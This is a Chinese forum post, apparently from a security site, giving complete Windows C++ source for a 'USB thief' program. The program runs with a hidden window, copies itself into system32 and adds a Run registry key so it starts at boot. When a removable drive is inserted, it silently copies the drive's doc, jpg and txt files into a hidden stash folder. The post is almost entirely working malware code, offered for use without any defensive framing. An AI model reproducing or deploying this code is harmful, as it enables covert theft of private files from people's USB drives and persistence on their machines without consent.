程序工作原理:
1、程序运行后将程序自身拷贝到系统目录。
2、写注册表,实现开机自启动。
3、在C盘下创建“U盘小偷”目录(文件夹),以存放偷来的文件。
4、检测是否有可移动设备插入电脑,如果有,获取当前系统时间,在"C:\U盘小偷"目录下创建以SYSTEMTIME结构体的部分成员为名字的文件夹,保存本次盗窃成果。
所有操作都在后台运行。
由于程序在运行的时候会写注册表,这个操作会被具有主动防御功能的杀毒软件拦截。
以下是程序源码:
#include "stdafx.h"
#include <windows.h>
#include <string>
#include <stdio.h>
#include <Dbt.h>
#include <iostream>
#include "io.h"
#include "tlhelp32.h"
#include "stdio.h"
using namespace std;
void Dir(LPCTSTR lpPath);
LRESULT CALLBACK WndProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
WNDCLASS wndclass;
wndclass.cbClsExtra=0;
wndclass.cbWndExtra=0;
wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH);
wndclass.hCursor=LoadCursor(NULL,IDC_ICON);
wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK);
wndclass.hInstance=hInstance;
wndclass.lpfnWndProc=WndProc;
wndclass.lpszClassName="lieying";
wndclass.lpszMenuName=NULL;
wndclass.style=CS_VREDRAW|CS_HREDRAW;
RegisterClass(&wndclass); //注册窗口类
HWND hwnd;
hwnd=CreateWindow("lieying","",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL);
ShowWindow(hwnd,SW_HIDE); //隐藏窗体
UpdateWindow(hwnd);
MSG msg;
while(GetMessage(&msg,hwnd,0,0)) //消息循环
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK WndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) //窗口过程
{
switch(uMsg)
{
case WM_PAINT:
{
PAINTSTRUCT ps;
BeginPaint(hwnd,&ps);
EndPaint(hwnd,&ps);
break;
}
case WM_CLOSE:
{
return FALSE;
break;
}
case WM_DESTROY:
{
return FALSE;
break;
}
case WM_CREATE: //窗体创建时执行复制自身到系统目录,并写注册表实现开机启动。
{
TCHAR desdir[MAX_PATH]=TEXT("c:\\U盘小偷"); //创建目录,用来存放偷来的文件
CreateDirectory(desdir,NULL);
//文件复制
TCHAR ExeFullPath[MAX_PATH];
GetModuleFileName(NULL,ExeFullPath,MAX_PATH); //获取exe的全路径(包括文件名)
TCHAR NewFilePath[MAX_PATH]="C:\\WINDOWS\\system32\\USTeal.exe"; //指定文件Copy到哪里去。
CopyFile(ExeFullPath,NewFilePath,TRUE);
//写注册表,实现开机运行。
HKEY hkey;
TCHAR keyvalue[MAX_PATH]="C:\\WINDOWS\\system32\\USTeal.exe"; //判读下文件是否存在
TCHAR childkey[]=TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey);
RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,strlen(keyvalue));
RegCloseKey(hkey);
break;
}
case WM_DEVICECHANGE: //移动存储设备插入电脑会产生WM_DEVICECHANGE消息
{
if(lParam!=0)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; //定义PDEV_BROADCAST_HDR结构体,系统填充结构体信息。
if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME)
{
if(wParam==DBT_DEVICEARRIVAL) //移动存储设备已经可用。
{
long i,j;
TCHAR buf[100];
TCHAR *cdbuf;
j=100;
i=GetLogicalDriveStrings(j,buf);
for(j=0;j<i;j+=4)
{
cdbuf=&buf[j];
if(GetDriveType(cdbuf)==DRIVE_REMOVABLE) //判断插入设备的类型是否为可移动设备
{
Dir((LPCTSTR)cdbuf);
}
}
}
}
}
}
break;
default:
{
return DefWindowProc(hwnd,uMsg,wParam,lParam);
break;
}
}
return 0;
}
void Dir(LPCTSTR lpPath)
{
TCHAR szFind[MAX_PATH];
lstrcpy(szFind,lpPath);
lstrcat(szFind,"\\*.*");
WIN32_FIND_DATA wfd;
HANDLE hFind=FindFirstFile(szFind,&wfd);
if(hFind == INVALID_HANDLE_VALUE)
return;
else
{
do
{
if (wfd.cFileName[0] == '.')
continue; //过滤本级目录和父目录
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) //如果找到的是目录
{
TCHAR szFile[MAX_PATH];
lstrcpy(szFile,lpPath);
lstrcat(szFile,"\\");
lstrcat(szFile,wfd.cFileName);
Dir(szFile); // 递归
}
else //找到的是文件
{
TCHAR szFile[MAX_PATH];
lstrcpy(szFile,lpPath);
lstrcat(szFile,"\\");
lstrcat(szFile,wfd.cFileName);
int len=lstrlen(szFile);
TCHAR *p=&szFile[len-3];
if(lstrcmp(p,"doc")==0||lstrcmp(p,"jpg")==0||lstrcmp(p,"txt")==0) //要拷贝文件的后缀,我这里只拷贝doc,jpg,txt文件。
{
TCHAR szDes[MAX_PATH]=TEXT("C:\\U盘小偷\\");
TCHAR szTime[MAX_PATH];
SYSTEMTIME time;
GetLocalTime(&time); //获取当前系统时间,将文件夹的名字以SYSTEMTIME结构体的部分成员为目标文件名
wsprintf(szTime,"%d月%d日%d时%d分",time.wMonth,time.wDay,time.wHour,time.wMinute);
lstrcat(szDes,szTime);
CreateDirectory(szDes,NULL);
lstrcat(szDes,"\\");
lstrcat(szDes,wfd.cFileName);
CopyFile(szFile,szDes,FALSE); //拷贝文件
}
}
}
while(FindNextFile(hFind, &wfd));
FindClose(hFind);
}
}
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法